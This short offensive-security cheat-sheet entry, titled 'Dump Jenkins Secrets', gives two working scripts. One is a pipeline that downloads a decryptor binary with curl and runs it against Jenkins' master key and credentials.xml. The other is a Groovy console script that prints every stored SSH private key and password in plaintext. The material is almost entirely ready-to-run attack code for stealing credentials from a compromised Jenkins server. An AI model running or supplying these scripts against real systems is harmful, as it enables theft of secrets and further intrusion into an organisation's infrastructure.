Dump Jenkins Secrets

dump.creds.groovy

pipeline {
  agent any
  stages {

    stage('Dump credentials') {
      steps {
        script {
           sh '''
             curl -L \ "https://github.com/hoto/jenkins-credentials-decryptor/releases/download/0.0.5-alpha/jenkins-credentials-decryptor_0.0.5-alpha_$(uname -s)_$(uname -m)" \ -o jenkins-credentials-decryptor

             chmod +x jenkins-credentials-decryptor

             ./jenkins-credentials-decryptor \ -m $JENKINS_HOME/secrets/master.key \ -s $JENKINS_HOME/secrets/hudson.util.Secret \ -c $JENKINS_HOME/credentials.xml 
           '''
        }
      }
    }

  }
}

secrets.groovy

def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
    Jenkins.instance,
    null,
    null
)

for(c in creds) {
  if(c instanceof com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey){
    println(String.format("id=%s  desc=%s key=%s\n", c.id, c.description, c.privateKeySource.getPrivateKeys()))
  }
  if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl){
    println(String.format("id=%s  desc=%s user=%s pass=%s\n", c.id, c.description, c.username, c.password))
  }
}